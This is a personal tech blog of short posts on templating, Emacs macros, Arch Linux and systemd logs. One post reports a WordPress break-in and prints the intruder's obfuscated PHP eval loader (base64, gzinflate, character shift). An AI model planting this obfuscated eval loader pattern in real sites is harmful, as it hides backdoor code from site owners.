samedi 12 janvier 2013

template as [higher-order] functions

Many templating systems are implicit substitution semantic functions, I feel templates should be normal functions with strict and optional parameters, instead of a generic call with (template name, environment map) couple.
That's all. Emacs org-capture style nano post.

ps: the higher-order part, is that we need a way to express the formatted output as context-sensitive by embedding its surrounding as another set of parameters (which would be templating functions)

somebody's writing me -- a wordpress intrusion :1

Somebody somehow gained write access on a Wordpress based blog I'm maintaining, so he left me a gift:

function BSSV($rOPJx)
{ 
$rOPJx=gzinflate(base64_decode($rOPJx));
 for($i=0;$i<strlen($rOPJx);$i++)
 {
$rOPJx[$i] = chr(ord($rOPJx[$i])-1);
 }
 return $rOPJx;
 }eval(BSSV("U1QEAu7CpJKS0sziMs3kpJI0c9OE1LSUgtQ0TdWEELfgcLfgGM/Q0MAEFz/XOC0tG24He25uAA==000"));
?>

Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811


mardi 8 janvier 2013

Scala value class-like to php macro


;; '//' SPACE CLASS <NAME> '(' ARGS* ')'
;; class name { private args; function name(args) { $this->args = args } public get_args() { return $this->args; }
(fset 'scala-to-php
   [?\C-k ?\C-y ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-f ?\M-f ?\C-  ?\C-e ?\C-\M-% ?\( ?\\ ?\( ?. ?* ?\\ ?\) ?\) return ?\{ ?\C-q ?\C-j ?\' ?1 backspace backspace ?\\ ?1 ?\C-q ?\C-j ?\} return ?! ?\C-r ?\{ ?\C-e ?\C-f ?\C-  ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-  ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?^ return ?  ?  ?p ?r ?i ?v ?a ?t ?e ?  ?$ return ?! ?\C-e ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-d ?f ?u ?n ?c ?t ?i ?o ?n ?\C-e ?  ?\{ ?\} ?\C-a ?\C-s ?\( ?\C-f ?\C-b ?\C-  ?\C-f ?\C-s ?\) ?\C-b ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i ?i backspace backspace backspace backspace ?l ?p ?h ?a ?\" ?\] ?\] backspace backspace backspace ?: ?\] ?\] ?\\ ?+ backspace backspace ?+ ?\\ ?\) ?\C-b ?\C-e return ?$ ?\' ?1 backspace backspace ?\\ ?1 return ?y ?y ?y ?y ?\C-s ?\{ ?\C-f ?\C-b ?\C-j ?\S-\C-o ?\C-y ?\M-y ?\C-a tab ?\C-s ?\( ?\C-  ?\C-a backspace tab ?\C-e backspace ?\C-a tab ?\C-  ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-r ?\{ ?\C-e ?\C-f ?\C-  ?\C-s ?\} ?\C-p ?\C-e tab ?\C-  ?\C-s ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i backspace backspace backspace ?l ?p ?h ?a ?: ?\] ?\] ?+ ?\\ ?\) ?\; return ?p backspace ?$ ?t ?h ?i ?s ?- ?> ?$ ?\\ ?1 ?  ?= ?  ?$ backspace ?$ ?\\ ?1 ?\; return ?! ?\C-e ?\C-f tab ?\C-e ?\C-j ?\C-y ?\C-a ?\C-  ?\C-s ?\( ?\C-? ?\C-s ?\C-m ?\C-r ?/ ?/ ?\C-f ?\C-a ?\C-  ?\C-s ?\( ?\C-m backspace ?\C-e backspace ?\C-a ?\C-  ?\C-e ?\C-\M-% ?, return ?\C-q ?\C-j return ?! ?\C-r ?\} ?\C-e ?\C-f ?\C-  ?\C-s ?\} ?\C-p ?\C-e ?\C-\M-% ?6 ?\\ ?\( backspace backspace backspace ?^ ?\' backspace ?\\ ?\( ?. ?* ?\\ ?\) return ?p ?u ?b ?l ?i ?c ?  ?g ?e ?t ?_ ?\\ ?1 ?\( ?\) ?\S-  ?\{ ?  ?$ ?t ?h ?i ?s ?- ?\M-b ?r ?e ?t ?u ?r ?n ?  ?\C-e ?. backspace ?> ?$ ?\\ ?1 ?\; ?  ?\} return ?! ?\C-s ?\} ?\C-m ?\C-  ?\C-r ?c ?l ?a ?s ?s ?\C-m tab])

// class User(name,login,password)



===
class User{
  private $name;
  private $login;
  private $password;
  function User($name,$login,$password) {
    $this->$name = $name;
    $this->$login = $login;
    $this->$password = $password;
  }
  public get_name() { return $this->$name; }
  public get_login() { return $this->$login; }
  public get_password() { return $this->$password; }
}

/tmp/kbd-macro.el (END)


I should write an keybindings expander and a literal reducer to make this bearable </lisp>

lundi 10 décembre 2012

Archlinux promoting degrowth : I like it when my system shrinks while it grows.

luser@x60s_GPT /opt/isos % sudo pacman -Su
[sudo] password for luser:             
:: Starting full system upgrade...
resolving dependencies...
looking for inter-conflicts...

Targets (2): webkitgtk2-1.10.2-1  webkitgtk3-1.10.2-1

Total Download Size:    20.35 MiB
Total Installed Size:   100.25 MiB
Net Upgrade Size:       -23.67 MiB

Proceed with installation? [Y/n]
:: Retrieving packages from extra...
 webkitgtk2-1.10.2-1-
i686                   7.3 MiB   397K/s 00:19 [#####] 100%
 webkitgtk3-1.10.2-1-
i686                  13.1 MiB   454K/s 00:29 [#####] 100%
(2/2) checking package integrity
                                   [#####] 100%
(2/2) loading package files
                                        [#####] 100%
(2/2) checking for file conflicts
                                  [#####] 100%
(2/2) checking available disk space
                                [#####] 100%
(1/2) upgrading webkitgtk2
                                         [#####] 100%
(2/2) upgrading webkitgtk3
                                         [#####] 100%

lundi 3 décembre 2012

html pager `onliner` with xmllint aka Y U NO RTFM

TIL xmllint can interpret XPath expressions, and has a html parser. No more ugly frankensed expressions to deals with trees. Ahhh DSLs.


dummy@x60s_GPT ~ % for page in $(hrefs URL | egrep $(basename URL) | sort | uniq) ;
do
curl -sL ${page}
| xmllint --html --xpath '//*[@id="content"]' -
| html2text;
done | less


where hrefs is, note the old school sedism which will soon be deprecated:

dummy@x60s_GPT ~ % cat $(which hrefs)

#!/usr/bin/env dash

URL="${1}"
curl -sL ${URL} | sed 's.>.>\n.g' | sed -n '/href/I s@^.*href="\([^"]\+\)".*$@\1@Igp' 


ps: no need to criticize my fault-tolerantless style; I'm still waiting for a whole lisp user-space so why bother...

samedi 24 novembre 2012

lennart's day : pulseaudio, systemd, initials and misconfigured system

I stumbled upon some kind of leak. /var/log/journal is eating 2GB. That explains why journalctl is sluggish as hell.

luser@x60s_GPT ~ % journalctl | awk '{print $5}' | sed 's,[^a-zA-Z\-],,g' > log
# 2 hours and 22MB later

luser@x60s_GPT ~ % sort log | uniq -c | sort -nr | head
1953078 pulseaudio
  62863 kernel
  39051 systemd
  14992 sudo
  14463 udisks-daemon
   7923 USRSBINCROND
   4015 usrsbincrond
   1601 dhcpcd
    733 systemd-logind
    704 systemd-journal


So pulseaudio is the prime suspect. A while back I used '-vvvv' for debugging purposes, but removed the vvvverbose option for at least a few weeks. It was dropping dozens of messages every 5 seconds and I can't find a way to trim the old persisted logs. I'm tempted to blindly delete them but will wait a bit before doing so.

tl;dr still looking for a way to manage, meaning trim, systemd journal disk usage a posteriori in case of log bloat.

Trivia: journal log header include LPKSHHRH. I thought it was a compression format magic number, PKZIP comes to mind, but apparently it is more of a signature.


LPKSHHRH acronym
LP KS HH RH ;)






ha, computers. I mean noobs.